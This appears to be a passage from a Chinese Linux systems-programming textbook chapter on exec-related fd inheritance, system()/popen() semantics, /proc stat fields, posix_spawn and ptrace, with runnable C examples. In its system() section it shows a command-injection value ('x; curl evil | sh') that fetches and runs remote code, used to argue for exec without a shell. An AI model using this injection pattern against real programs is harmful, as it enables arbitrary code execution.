open(path, O_CLOEXEC)设置原子:不存在「已打开但未设位」的窗口
open(path, 0) + fcntl(F_SETFD)手动设置非原子:两步之间 fork+exec 会泄漏
dup(fd)清除按 POSIX,dup 不继承
dup3(fd, newfd, O_CLOEXEC)设置原子
fcntl(fd, F_DUPFD_CLOEXEC, min)设置原子
accept4(..., SOCK_CLOEXEC)设置原子
pipe2(..., O_CLOEXEC)设置原子
socket(..., SOCK_CLOEXEC)设置原子
close_range(first, last, CLOSE_RANGE_CLOEXEC)批量设置原子(Linux 5.11+)

非原子窗口的经典事故:线程 A 执行 fd = open(log); fcntl(fd, F_SETFD, FD_CLOEXEC);,两步之间线程 B fork() 并 exec() 了一个不受信程序;子程序继承了日志 fd,可以往日志里写伪造内容,也可以 lseek 破坏父进程的写入位置。O_CLOEXEC 把这两步合成一步,窗口消失。

关于 `FD_CLOEXEC` 的四个误解
  1. 「dup 会继承 FD_CLOEXEC」——不会。dup(fd) 的新 fd 的 CLOEXEC 位是清的。要让副本也 CLOEXEC,用 F_DUPFD_CLOEXEC 或 dup3(..., O_CLOEXEC)。
  2. 「O_CLOEXEC 影响 fork 的子进程」——不影响。fork 后 fd 仍在,CLOEXEC 只在 exec 时生效。想让 fork 的子进程看不到 fd,得自己 close。
  3. 「FD_CLOEXEC 能防止 fd 被继承到孙进程」——能,只要中间没有 dup 掉这一位。exec 关闭后,孙进程自然看不到。
  4. 「system() 会关闭父进程的 fd」——不会。system 的子 shell 继承所有未 CLOEXEC 的 fd;这是 setuid 程序里 system 危险的另一面。

批量关闭:close_range()

Linux 5.9 加入 close_range(unsigned int first, unsigned int last, unsigned int flags),一次关闭一段 fd。它解决两个问题:

  • 性能:for (fd = 3; fd < 1024; fd++) close(fd); 在 fd 很多时要上千次系统调用;close_range(3, ~0U, 0) 一次完成。
  • 正确性:遍历关闭时,另一个线程可能恰好打开新 fd 并落在待关闭区间,被误关。close_range 在内核里对 fd 表加锁一次完成,没有这个窗口(但并发 open 仍可能拿到关闭后的编号,这是另一类问题)。

flags 有两个值:0 表示关闭;CLOSE_RANGE_CLOEXEC(5.11+)表示只设 FD_CLOEXEC 不关闭。后者适合「fork 前把所有 fd 标成 CLOEXEC,但自己还要用」的场景。

/* 只保留 0/1/2,其余全部标记 CLOEXEC;失败回退到逐 fd 设置 */
#include <fcntl.h>
#include <sys/syscall.h>
#include <unistd.h>

static void mark_all_cloexec(void)
{
#ifdef SYS_close_range
    if (syscall(SYS_close_range, 3, ~0U, CLOSE_RANGE_CLOEXEC) == 0)
        return;
#endif
    long maxfd = sysconf(_SC_OPEN_MAX);
    if (maxfd < 0 || maxfd > 65536)
        maxfd = 65536;
    for (int fd = 3; fd < maxfd; fd++) {
        int flags = fcntl(fd, F_GETFD);
        if (flags != -1)
            (void)fcntl(fd, F_SETFD, flags | FD_CLOEXEC);
    }
}

close_range 在 seccomp 默认白名单里通常没有,容器里可能返回 EPERM/ENOSYS;上面的 #ifdef 加回退分支是必要的。

程序:一次 exec 前后的 fd 审计

下面的程序打开 64 个 fd,一半带 CLOEXEC,然后 exec 自己,统计 exec 后还剩多少、哪些泄漏。

/* exec_fd_audit.c:exec 前后的 fd 继承审计 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define MARK "--after-exec"
#define NFDS 64

static void die(const char *msg)
{
    perror(msg);
    exit(EXIT_FAILURE);
}

static int count_open(int *leaked, int max_leaked)
{
    int open_count = 0, n = 0;
    for (int fd = 3; fd < 256; fd++) {
        int flags = fcntl(fd, F_GETFD);
        if (flags == -1)
            continue;
        open_count++;
        if (n < max_leaked)
            leaked[n++] = fd;
    }
    return open_count;
}

int main(int argc, char **argv)
{
    if (argc > 1 && strcmp(argv[1], MARK) == 0) {
        int leaked[16];
        int n = count_open(leaked, 16);
        printf("after exec: open fds=%d (expect %d)\n", n, NFDS / 2);
        printf("leaked    :");
        for (int i = 0; i < n && i < 16; i++)
            printf(" %d", leaked[i]);
        printf("\n");

        /* 验证泄漏的 fd 确实可写:往 stderr 写一行即可 */
        for (int i = 0; i < n; i++) {
            if (leaked[i] == STDOUT_FILENO || leaked[i] == STDERR_FILENO)
                continue;
            if (write(leaked[i], "X", 1) == -1 && errno == EBADF)
                printf("fd %d unexpectedly bad\n", leaked[i]);
        }
        return n == NFDS / 2 ? EXIT_SUCCESS : EXIT_FAILURE;
    }

    /* 打开 64 个 fd:偶数带 O_CLOEXEC,奇数不带 */
    for (int i = 0; i < NFDS; i++) {
        int flags = O_WRONLY | O_CREAT | O_APPEND;
        if (i % 2 == 0)
            flags |= O_CLOEXEC;
        int fd = open("/tmp/exec_fd_audit.log", flags, 0644);
        if (fd == -1)
            die("open");
        if (fd >= 256) {           /* 编号超出审计范围,主动关掉 */
            close(fd);
            continue;
        }
    }

    int leaked[16];
    printf("before exec: open fds=%d\n", count_open(leaked, 16));
    fflush(NULL);

    char exe[4096];
    ssize_t len = readlink("/proc/self/exe", exe, sizeof exe - 1);
    if (len <= 0)
        die("readlink /proc/self/exe");
    exe[len] = '\0';

    char *new_argv[] = { exe, (char *)MARK, NULL };
    execv(exe, new_argv);
    die("execv");
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g exec_fd_audit.c -o exec_fd_audit
./exec_fd_audit; echo "exit=$?"
before exec: open fds=64
after exec: open fds=32 (expect 32)
leaked    : 3 5 7 9 11 13 15 17 19 21 23 25 27 29 31 33
exit=0

before 是 64,after 是 32,泄漏的全是奇数 fd(没有 O_CLOEXEC 的那一半)。注意 fd 3 也在里面:程序没有假定「3 一定是某个特定 fd」,而是按位审计。把 flags |= O_CLOEXEC 改成「先 open 再 fcntl」,在单线程里结果一样,但多线程下就会出现非原子窗口。

2.8.10 system()/popen() 的进程与信号真相

这一节回答:system() 到底阻塞/忽略了哪些信号,为什么在 SIGCHLD 处理器存在时可能等错进程,popen() 的死锁从哪来。

system() 的精确步骤

POSIX 对 system() 的要求比多数人以为的细:

  1. 阻塞 SIGCHLD;
  2. 忽略 SIGINT 与 SIGQUIT;
  3. fork();
  4. 子进程恢复信号掩码与处置(SIGINT/SIGQUIT 恢复为调用前的状态),然后 execl("/bin/sh", "sh", "-c", command, NULL);
  5. 父进程 waitpid() 等 shell,期间若收到 SIGINT/SIGQUIT,先记下,等 shell 结束后再重新raise 给自己;
  6. 恢复信号掩码与处置,返回状态。

glibc 的实现用 __posix_spawn 或 fork,并用 do_system 里的 __libc_sigaction 保存/恢复。两个后果:

  • 调用者的 SIGCHLD 处理器在 system() 期间不会运行(SIGCHLD 被阻塞),所以不会抢走 shell 子进程;但如果你在 system() 返回后立刻 waitpid(-1),可能收到 ECHILD(shell 已被 system 收走)。
  • SIGINT/SIGQUIT 处理器在 system() 期间不触发。用户按 Ctrl-C,信号送到前台进程组(shell 和它的子进程),你的程序因为忽略而存活;若 shell 退出后你恢复处理器,glibc 会把手期间到达的 SIGINT 补发给自身(实现细节依版本)。
关于 `system()` 信号语义的三个误解
  1. 「system 期间按 Ctrl-C 会杀掉我的程序」——不会,SIGINT 被忽略;被杀的是 shell 及前台子进程。
  2. 「system 返回后可以安全 waitpid(-1)」——可能 ECHILD。system 已经回收了它的 shell 子进程;你的其它子进程仍在。
  3. 「system(NULL) 只是判断 /bin/sh 存在」——它真的会 fork 一个 shell 并执行空命令,返回非 0 表示 shell 可用。它在 setuid 程序里同样受 PATH/环境的影响。

注入不是「引号没加够」

system("tar czf /backup/" + name + ".tgz /data") 里,name 为 x; curl evil | sh 就能执行任意命令。给 name 加单引号也不够:如果 name 里含单引号,攻击者可以闭合引号。正确做法是根本不要经过 shell:

/* 直接 exec,参数作为数组传递,shell 没有机会解释 */
pid_t pid = fork();
if (pid == 0) {
    execlp("tar", "tar", "czf", archive_path, "/data", (char *)NULL);
    _exit(127);
}

如果必须用 shell(比如要执行用户给的整条命令),就要接受「用户能执行任意命令」这个事实,并通过权限隔离(单独的低权限用户、namespace、seccomp)限制后果,而不是试图过滤字符串。

popen() 的死锁与 pclose() 的 ECHILD

popen(cmd, "w") 的典型死锁:子进程往 stdout/stderr 写大量数据,管道缓冲区(64 KiB)写满后阻塞;父进程正往 stdin 写,也阻塞;双方互等。解决办法:

  • 用 "r" 读子进程输出,不要同时大量写;
  • 需要双向通信用 socketpair + fork + dup2,并在父进程用 poll/epoll 同时读写(2.18);
  • 不关心输出就重定向到 /dev/null。

pclose() 返回 wait4 的状态;如果 popen 的子进程已被你的 SIGCHLD 处理器回收,pclose 返回 -1 且 errno = ECHILD。这类 bug 的表象是「pclose 偶尔失败」,根因是信号处理器与 popen 抢同一个子进程。

/* 安全的 pclose 解码 */
int status = pclose(fp);
if (status == -1) {
    if (errno == ECHILD)
        fprintf(stderr, "pclose: child already reaped by SIGCHLD handler\n");
    else
        perror("pclose");
} else if (WIFEXITED(status)) {
    printf("exit=%d\n", WEXITSTATUS(status));
} else if (WIFSIGNALED(status)) {
    printf("signal=%d\n", WTERMSIG(status));
}

程序:用 alarm 给 exec 出来的子进程加超时

alarm()/setitimer() 设置的定时器跨 exec 保留(exec 只清除 POSIX timer_create 定时器)。利用这一点,可以在子进程 exec 之前设一个闹钟,让新程序无论跑多久都会在超时后收到 SIGALRM 而终止——这就是 timeout(1) 的核心手法之一。

/* exec_timeout.c:alarm + exec,父进程解码 SIGALRM 死亡 */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>

static void on_alarm(int sig)
{
    (void)sig;   /* 故意安装处理器:exec 后应被复位,子进程会被 SIGALRM 杀死 */
}

int main(void)
{
    pid_t pid = fork();
    if (pid == -1) {
        perror("fork");
        return EXIT_FAILURE;
    }

    if (pid == 0) {
        struct sigaction sa = {0};
        sa.sa_handler = on_alarm;
        sigemptyset(&sa.sa_mask);
        if (sigaction(SIGALRM, &sa, NULL) == -1)
            _exit(126);

        alarm(1);                 /* 1 秒后 SIGALRM;跨 exec 保留 */
        execlp("sleep", "sleep", "5", (char *)NULL);
        _exit(127);               /* exec 失败 */
    }

    int status;
    while (waitpid(pid, &status, 0) == -1) {
        if (errno != EINTR) {
            perror("waitpid");
            return EXIT_FAILURE;
        }
    }

    if (WIFSIGNALED(status)) {
        printf("child killed by signal %d (%s)\n", WTERMSIG(status),
               WTERMSIG(status) == SIGALRM ? "SIGALRM: alarm survived exec" : "other");
        return WTERMSIG(status) == SIGALRM ? EXIT_SUCCESS : EXIT_FAILURE;
    }
    if (WIFEXITED(status)) {
        printf("child exited normally, code=%d (alarm lost?)\n", WEXITSTATUS(status));
        return EXIT_FAILURE;
    }
    printf("unexpected status 0x%x\n", (unsigned)status);
    return EXIT_FAILURE;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g exec_timeout.c -o exec_timeout
time ./exec_timeout; echo "exit=$?"
child killed by signal 14 (SIGALRM: alarm survived exec)
exit=0

real	0m1.003s

关键在两点:子进程在 exec 前安装了 SIGALRM 处理器,但 exec 后被复位为默认,所以 SIGALRM 直接杀死它;sleep 5 只跑了 1 秒。如果 alarm 没有跨 exec 保留,输出会是 child exited normally, code=0,耗时 5 秒。把 alarm(1) 换成 timer_create() 的 POSIX 定时器,结论反过来:exec 后定时器消失,子进程会睡满 5 秒。

2.8.11 /proc/{pid}/stat 的字段与 getrusage 的口径

这一节回答:/proc/{pid}/stat 的 52 个字段分别是什么,哪些字段在僵尸状态仍然有效,getrusage 的累计口径与 /proc 的实时值怎么对上。

字段表(按 proc(5) 的顺序)

序号名称单位/类型说明僵尸时
1pid整数进程 ID有效
2comm字符串括号内,可能含空格与 )有效
3state字符R/S/D/Z/T/t/W/XZ
4ppid整数父进程 ID有效
5pgrp整数进程组 ID有效
6session整数会话 ID有效
7tty_nr整数控制终端设备号有效
8tpgid整数前台进程组 ID有效
9flags位掩码PF_* 内核标志部分
10–13minflt/cminflt/majflt/cmajflt次缺页计数,c 前缀含已回收子进程有效
14–15utime/stime时钟滴答用户/内核 CPU 时间,除以 _SC_CLK_TCK有效
16–17cutime/cstime时钟滴答已回收子进程的累计 CPU有效
18–19priority/nice整数动态优先级、nice 值有效
20num_threads整数线程数1
21itrealvalue整数已废弃,恒 00
22starttime时钟滴答自开机起的启动时刻有效
23vsize字节虚拟地址空间大小0
24rss页驻留集页数(乘 sysconf(_SC_PAGESIZE))0
25rsslim字节RLIMIT_RSS 当前值有效
26–29startcode/endcode/startstack/kstkesp地址代码段、栈、内核栈指针部分
30–34kstkeip/signal/blocked/sigignore/sigcatch位图内核指令指针、信号掩码部分
35wchan地址睡眠时内核函数地址(需权限)0
36–37nswap/cnswap页已废弃,恒 00
38exit_signal整数退出时发给父进程的信号有效
39processor整数最后运行的 CPU有效
40–41rt_priority/policy整数实时优先级、调度策略有效
42delayacct_blkio_ticks时钟滴答阻塞 I/O 等待时间有效
43–44guest_time/cguest_time时钟滴答虚拟化 guest 时间有效
45–47start_data/end_data/start_brk地址数据段、堆边界部分
48–51arg_start/arg_end/env_start/env_end地址参数与环境区边界部分
52exit_code整数waitpid(2) 形式的 wait status(Linux 3.5+)有效

exit_code 是 waitpid(2) 形式的 wait status,不是「低 8 位退出码 + 高 8 位 core 标志」:正常退出时退出码在 bits 8–15(_exit(42) → 0x2a00),被信号杀死时低 7 位是信号号、bit 7 是 core dump 标志。它只在 state == Z 时有意义;解码用 WIFEXITED/WEXITSTATUS/WIFSIGNALED/WTERMSIG,不要手写位移。解析时不要按空格 split 后直接取第 52 个 token:comm 里的空格会让所有下标偏移,必须先定位最后一个 )。

程序:运行中与僵尸状态各读一次

/* stat_fields.c:/proc/<pid>/stat 字段解析 + wait4 rusage 对照 */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define NTOK 60

static void die(const char *msg)
{
    perror(msg);
    exit(EXIT_FAILURE);
}

/* 把 ')' 之后的字段按空格切成 token;tok[0] 对应字段 3(state) */
static int read_stat(pid_t pid, char tok[][64], int max)
{
    char path[64], buf[4096];
    snprintf(path, sizeof path, "/proc/%ld/stat", (long)pid);
    FILE *fp = fopen(path, "r");
    if (fp == NULL)
        return -1;
    if (fgets(buf, sizeof buf, fp) == NULL) {
        fclose(fp);
        return -1;
    }
    fclose(fp);

    char *p = strrchr(buf, ')');
    if (p == NULL)
        return -1;
    p++;

    int n = 0;
    char *save = NULL;
    for (char *t = strtok_r(p, " \n", &save); t != NULL && n < max;
         t = strtok_r(NULL, " \n", &save)) {
        snprintf(tok[n], 64, "%s", t);
        n++;
    }
    return n;
}

static long tok_long(char tok[][64], int n, int idx, long dflt)
{
    if (idx >= n)
        return dflt;
    return strtol(tok[idx], NULL, 10);
}

int main(void)
{
    pid_t pid = fork();
    if (pid == -1)
        die("fork");

    if (pid == 0) {
        size_t len = 16u << 20;
        char *p = malloc(len);
        if (p == NULL)
            _exit(120);
        for (size_t i = 0; i < len; i += 4096)
            p[i] = 1;
        /* 烧一点 CPU,让 utime 可见 */
        volatile unsigned long acc = 0;
        for (unsigned long i = 0; i < 60000000UL; i++)
            acc += i;
        _exit(42);
    }

    char tok[NTOK][64];
    int n = -1;
    char state = '?';

    /* 轮询直到僵尸:vsize 归零、exit_code 有效 */
    for (int i = 0; i < 200; i++) {
        n = read_stat(pid, tok, NTOK);
        if (n >= 1) {
            state = tok[0][0];
            if (state == 'Z')
                break;
        }
        struct timespec ts = { 0, 10 * 1000 * 1000 };  /* 10 ms */
        nanosleep(&ts, NULL);
    }

    if (state != 'Z') {
        fprintf(stderr, "child did not become zombie (state=%c), killing\n", state);
        kill(pid, SIGKILL);
        waitpid(pid, NULL, 0);
        return EXIT_FAILURE;
    }

    long hz = sysconf(_SC_CLK_TCK);
    long page = sysconf(_SC_PAGESIZE);
    unsigned long utime = (unsigned long)tok_long(tok, n, 11, 0);
    unsigned long stime = (unsigned long)tok_long(tok, n, 12, 0);
    long threads = tok_long(tok, n, 17, 0);
    unsigned long start = (unsigned long)tok_long(tok, n, 19, 0);
    long vsize = tok_long(tok, n, 20, 0);
    long rss = tok_long(tok, n, 21, 0);
    long exit_code = tok_long(tok, n, 49, 0);

    printf("stat: state=%c threads=%ld utime=%lu stime=%lu\n",
           state, threads, utime, stime);
    printf("stat: vsize=%ld rss=%ld pages (%ld KiB) starttime=%lu\n",
           vsize, rss, rss * page / 1024, start);
    printf("stat: utime+stime=%.3fs (HZ=%ld) exit_code=0x%lx\n",
           (double)(utime + stime) / (double)hz, hz, exit_code);

    struct rusage ru;
    int status;
    if (wait4(pid, &status, 0, &ru) == -1)
        die("wait4");

    printf("wait: exited=%d code=%d maxrss=%ld KiB minflt=%ld majflt=%ld\n",
           WIFEXITED(status), WEXITSTATUS(status),
           (long)ru.ru_maxrss, (long)ru.ru_minflt, (long)ru.ru_majflt);
    printf("wait: utime=%.3fs stime=%.3fs nvcsw=%ld nivcsw=%ld\n",
           (double)ru.ru_utime.tv_sec + ru.ru_utime.tv_usec / 1e6,
           (double)ru.ru_stime.tv_sec + ru.ru_stime.tv_usec / 1e6,
           (long)ru.ru_nvcsw, (long)ru.ru_nivcsw);
    return EXIT_SUCCESS;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g stat_fields.c -o stat_fields
./stat_fields
stat: state=Z threads=1 utime=6 stime=0
stat: vsize=0 rss=0 pages (0 KiB) starttime=482913
stat: utime+stime=0.060s (HZ=100) exit_code=0x2a00
wait: exited=1 code=42 maxrss=16520 KiB minflt=4180 majflt=0
wait: utime=0.060s stime=0.000s nvcsw=1 nivcsw=0

几个对照点:

  • exit_code=0x2a00 是 wait status:WIFEXITED(0x2a00) 为真,WEXITSTATUS(0x2a00)==42;它只因为进程是僵尸才可读,进程被回收后 /proc 目录消失。
  • 僵尸的 vsize/rss 已经是 0,内存页在 exit_mm() 时释放;maxrss 只能从 wait4 的 rusage 拿。
  • utime 以时钟滴答计,HZ=100 时 6 个滴答 = 60 ms,与 rusage 的 0.060s 对上。
  • num_threads 在僵尸状态是 1(只剩组长),不代表运行时的线程数。
`/proc/{pid}/status` 与 `statm`

status 是给人和脚本读的键值格式:VmRSS、VmSize、Threads、SigQ、SigPnd、ShdPnd、SigBlk、SigIgn、SigCgt、NoNewPrivs、Seccomp。statm 是 7 个数字:size resident shared text lib data dt,单位都是页。要观测信号掩码与未决信号,用 status 比 stat 的位图字段可读得多。

times() 与 clock():老式进程时间接口

getrusage 是现代接口;老代码还会用 times() 和 clock():

#include <sys/times.h>
#include <time.h>
struct tms t;
clock_t ticks = times(&t);        /* 返回自开机以来的 clock ticks */
long hz = sysconf(_SC_CLK_TCK);   /* 每秒多少 tick,通常 100 */
double user = (double)t.tms_utime / hz;
double sys  = (double)t.tms_stime / hz;

clock_t c = clock();              /* 进程 CPU 时间,单位 CLOCKS_PER_SEC */

区别:

接口时间基准单位回绕备注
times()POSIX:任意点;Linux 2.6+:boot 前 (2^32/HZ)-300 秒clock_t tick约 248 天(仅 32 位系统;clock_t 为有符号 32 位 long,100 Hz,2^31/100/86400 ≈ 248.5;64 位 LP64 不回绕)同时给自身/子进程 user/sys
clock()进程 CPUCLOCKS_PER_SEC(glibc=1e6)32 位约 72 分钟(2^32/1e6);64 位不回绕不含子进程;现代实现常用 CLOCK_PROCESS_CPUTIME_ID
getrusage()进程/子进程timeval无字段更多,推荐
clock_gettime()任意 clocktimespec无纳秒,推荐
`clock()` 不是墙钟

clock() 返回 CPU 时间,不是 elapsed time;sleep(1) 期间它几乎不增长。要测墙钟用 CLOCK_MONOTONIC,要测 CPU 用 CLOCK_PROCESS_CPUTIME_ID 或 getrusage。

2.8.12 posix_spawn() 与 ptrace 的进阶用法

posix_spawn() 的完整形状

posix_spawn() 把「fork + 在子进程里做一堆文件操作 + exec」封装成一个调用,返回错误码而不是设置 errno:

int posix_spawn(pid_t *pid, const char *path,
                const posix_spawn_file_actions_t *file_actions,
                const posix_spawnattr_t *attrp,
                char *const argv[], char *const envp[]);
int posix_spawnp(pid_t *pid, const char *file, /* 查 PATH */
                 const posix_spawn_file_actions_t *file_actions,
                 const posix_spawnattr_t *attrp,
                 char *const argv[], char *const envp[]);

file_actions 按添加顺序在子进程里执行,支持:

操作函数说明
打开/重定向addopen(fa, fd, path, flags, mode)等价于 open + dup2
关闭addclose(fa, fd)关闭指定 fd
复制adddup2(fa, fd, newfd)dup2
改目录addchdir_np(fa, path)glibc 2.29+,非 POSIX
改目录(fd)addfchdir_np(fa, fd)glibc 2.34+
批量关闭addclosefrom_np(fa, lowfd)glibc 2.34+

attrp 的标志控制子进程属性:

flag作用备注
POSIX_SPAWN_SETSIGDEF把 sigdefault 里的信号复位为默认exec 本来就会复位捕获的处理器
POSIX_SPAWN_SETSIGMASK设置子进程信号掩码sigmask
POSIX_SPAWN_SETSID子进程调用 setsid()glibc 2.26+
POSIX_SPAWN_SETPGROUP设置进程组pgroup
POSIX_SPAWN_SETSCHEDPARAM设置调度参数需要权限
POSIX_SPAWN_SETSCHEDULER设置调度策略需要权限
POSIX_SPAWN_SETRESUID设置真实/有效/保存 UIDglibc 扩展,非 POSIX
POSIX_SPAWN_SETRESGID设置 GID 三件套glibc 扩展

posix_spawn 的返回值就是错误码:成功 0,失败返回 ENOENT/EACCES/EAGAIN/ENOMEM 等,不设置 errno。用 perror 之前要先 errno = rc,否则打印的是旧 errno。

glibc 在多数平台上用 clone(CLONE_VM | CLONE_VFORK) 实现 posix_spawn,比 fork 少一次页表复制。但这也意味着:file_actions 里的操作运行在「共享父进程地址空间」的子进程里,只能使用 async-signal-safe 的实现;glibc 内部对此有专门处理,你自己往 file_actions 里塞不了任意函数。

ptrace 的选项与 PTRACE_GET_SYSCALL_INFO

上一篇的 PTRACE_SYSCALL 循环只用了 PTRACE_SETOPTIONS。实际调试器/追踪器还要用这些选项:

选项作用典型用途
PTRACE_O_TRACESYSGOODsyscall-stop 的信号号变成 SIGTRAP|0x80区分断点与 syscall
PTRACE_O_TRACEFORK自动跟踪 fork 的子进程strace -f
PTRACE_O_TRACEVFORK自动跟踪 vfork 的子进程strace -f
PTRACE_O_TRACECLONE自动跟踪 clone 的线程strace -f
PTRACE_O_TRACEEXECexec 时给 tracer 一个事件观察 exec 边界
PTRACE_O_TRACEEXIT退出时给事件清理
PTRACE_O_EXITKILLtracer 死时杀死 tracee防止孤儿 tracee
PTRACE_O_SUSPEND_SECCOMP暂停 tracee 的 seccomp调试沙箱

PTRACE_GET_SYSCALL_INFO(Linux 5.3+)一次返回系统调用号、参数、返回值、栈指针,避免在 32/64 位兼容模式下手工读寄存器:

struct ptrace_syscall_info info;
if (ptrace(PTRACE_GET_SYSCALL_INFO, pid, sizeof info, &info) == -1)
    perror("PTRACE_GET_SYSCALL_INFO");
else if (info.op == PTRACE_SYSCALL_INFO_ENTRY)
    printf("enter syscall %llu\n", (unsigned long long)info.entry.nr);
else if (info.op == PTRACE_SYSCALL_INFO_EXIT)
    printf("exit  ret %lld\n", (long long)info.exit.rval);

ptrace 的权限边界:非 root 只能跟踪自己的后代,或目标显式 PTRACE_TRACEME;Yama LSM 的 kernel.yama.ptrace_scope 默认 1,只允许跟踪直系子进程;容器里通常需要 CAP_SYS_PTRACE。PTRACE_ATTACH 会给目标发 SIGSTOP,目标可能因此改变行为——这是「观察者效应」在系统编程里的具体例子。

追踪一个陌生程序执行了什么
  1. strace -f -e trace=process,execve,execveat -o /tmp/trace.txt ./prog:先看进程创建与 exec;
  2. strace -f -e trace=%file -o /tmp/files.txt ./prog:看打开了哪些文件、哪些失败;
  3. strace -f -e trace=%signal -o /tmp/sig.txt ./prog:看信号与 rt_sigaction;
  4. strace -f -c ./prog:按系统调用聚合时间与次数,找热点;
  5. 需要参数内容时加 -s 256 -v;需要时间戳加 -tt -T。

2.8.13 两个观测实验

实验一:strace 看 fork/exec/wait 的完整序列

strace -f -e trace=clone,clone3,execve,execveat,wait4,exit_group \
       -o /tmp/spawn.trace sh -c 'sleep 0.1; exit 7'
grep -v ENOENT /tmp/spawn.trace | head -20
echo "shell exit=$?"

预期输出(PID 与地址会不同):

12345 clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|...|SIGCHLD, ...) = 12346
12345 wait4(-1,  <unfinished ...>
12346 execve("/usr/bin/sleep", ["sleep", "0.1"], 0x7ffd...) = 0
12346 exit_group(0)                     = ?
12345 <... wait4 resumed>)              = 12346
12345 exit_group(7)                     = ?

怎么读:

  • clone(...SIGCHLD) 是 fork() 的底层形态;child_stack=NULL 表示共享父进程栈(fork 语义)。
  • execve 成功后 strace 显示 = 0,但实际进程已不再返回;这是 strace 的显示约定。
  • wait4 的返回值是子进程 PID(12346),不是退出码;退出码在 strace 里不显示,要 -e trace=wait4 -v 或看 shell 的 $?。
  • exit_group(7) 是 shell 自己的退出,7 就是 $?。

实验二:/proc/{pid}/stat 与 ps 的字段对照

# 起一个后台进程,抓它的 stat
sleep 30 & pid=$!
awk '{print "state=" $3, "ppid=" $4, "utime=" $14, "stime=" $15, "threads=" $20, "vsize=" $23, "rss_pages=" $24}' /proc/$pid/stat
ps -o pid,stat,ppid,time,rss,vsz,nlwp -p $pid
kill $pid

预期输出:

state=S ppid=12340 utime=0 stime=0 threads=1 vsize=14720 rss_pages=220
    PID STAT  PPID     TIME   RSS    VSZ NLWP
  12350 S    12340 00:00:00  880  14720    1

对照关系:rss_pages=220 × 4 KiB = 880 KiB,正好是 ps 的 RSS;vsize 单位是字节,ps 的 VSZ 是 KiB(14720);threads 对应 NLWP;utime/stime 是时钟滴答,ps 的 TIME 已经换算成 时:分:秒。如果进程是僵尸,ps 的 RSS/VSZ 变成 0,而 STAT 是 Z。

2.8.14 十二个陷阱:现象、原因、修复

#现象原因修复
1execve 返回 EACCES,但 ls -l 有 x路径中某级目录缺 x,或挂载点 noexecnamei -l、findmnt -T
2execve 返回 ENOEXEC,脚本明明有 shebangshebang 行超过 127 字节;#! 后是 CRLF;解释器路径含空格head -1 | xxd,改用短路径
3#!/usr/bin/env python3 -u 失败内核把 python3 -u 当作一个参数选项写进脚本或用 wrapper
4子进程继承了不该有的 fdopen 后 fcntl 设 CLOEXEC 的非原子窗口一律 O_CLOEXEC/SOCK_CLOEXEC/pipe2
5system() 返回 0x7f00,程序当成失败把 wait 状态当退出码WIFEXITED/WEXITSTATUS 解码
6system() 在 setuid 程序里被提权shell 继承 euid,PATH/IFS 可注入不用 system,直接 execve 绝对路径
7pclose() 偶发 ECHILDSIGCHLD 处理器抢先回收了子进程统一回收点;popen 期间阻塞 SIGCHLD
8popen(cmd,"w") 卡死子进程输出写满管道,父进程不读改双向 socketpair + poll,或重定向输出
9getrusage(RUSAGE_CHILDREN).ru_maxrss=0子进程尚未 wait;或统计的是累计值用 wait4 拿单个子进程
10/proc/pid/stat 解析错位comm 含空格/括号,按空格 split先找最后一个 )
11posix_spawn 失败但 errno 是旧值它返回错误码,不设 errnoerrno = rc; perror(...)
12ptrace 把断点当成 syscall 边界没设 PTRACE_O_TRACESYSGOOD检查 WSTOPSIG == (SIGTRAP|0x80)
13容器里 fexecve 报 ENOENT/proc 未挂载或 fd 带 O_CLOEXEC用 execveat(AT_EMPTY_PATH)
14exec 后 SIGTERM 处理器不见了捕获的处理器跨 exec 复位新程序自己重装;忽略状态才会保留

2.8.15 本章出口检查

检查项达标线没达标去哪
说出 exec 保留/重置的属性能覆盖 fd、信号、cwd、定时器2.8.1
区分 execv/execvp/execve说清 PATH 与环境来源2.8.2
解释 shebang 的参数限制知道只能带一个参数2.8.2
用 FD_CLOEXEC 控制 fd 继承能跑出 fd 4 消失的结果2.8.3
正确解码 system()/pclose()知道返回值是 wait 状态2.8.4
用 waitid 区分退出与被杀知道 si_code 不是退出码2.8.6
说出 getrusage 的三个口径限制累计、已回收、单位差异2.8.6
即时自测 · 2.8

Q1 一个程序执行 execve("/tmp/x", ...),/tmp/x 是一个以 #!/bin/sh 开头的脚本。内核实际执行了什么?argv 如何排列?

Q2 父进程打开了 fd 3(无 CLOEXEC),子进程 exec 后还能看到 fd 3。如果父进程在 fork 前 dup2(3, 4),exec 后子进程能看到哪些?偏移共享吗?

Q3 system("exit 3") 返回 0x0300。system("kill -TERM $$") 返回什么?system("nonexistent") 呢?

Q4 getrusage(RUSAGE_CHILDREN) 报 maxrss=0,但子进程明明用了 100 MB。列出至少两种原因。

Q5 为什么 ptrace 的 PTRACE_SYSCALL 循环里要检查 WSTOPSIG(status) == (SIGTRAP | 0x80)?

答案

A1 内核识别 #!,改为执行 /bin/sh,argv 变成 ["/bin/sh", "/tmp/x", 原 argv[1], ...]。脚本路径成为一个参数,原脚本的 $0 是 /tmp/x。

A2 两个 fd 都在(都没有 CLOEXEC),它们指向同一个打开文件描述,偏移共享。exec 只关闭带 FD_CLOEXEC 的 fd,不改变共享关系。

A3 kill -TERM $$ 让 shell 被 SIGTERM 杀死,返回的 wait 状态满足 WIFSIGNALED,WTERMSIG=15(原始值通常是 0x000f)。nonexistent 由 shell 报错并以 127 退出,返回 0x7f00,WEXITSTATUS=127。若 fork 失败则返回 -1。

A4 ① 子进程尚未被 wait,RUSAGE_CHILDREN 只统计已回收的;② 子进程通过 exec 换成了新程序,maxrss 记录的是新程序的峰值,且某些内核/平台上 exec 后 maxrss 会被重置;③ 单位不同(macOS 是字节,Linux 是 KB),0 可能是解析或平台差异;④ 统计被 vfork/clone 的创建方式绕过。

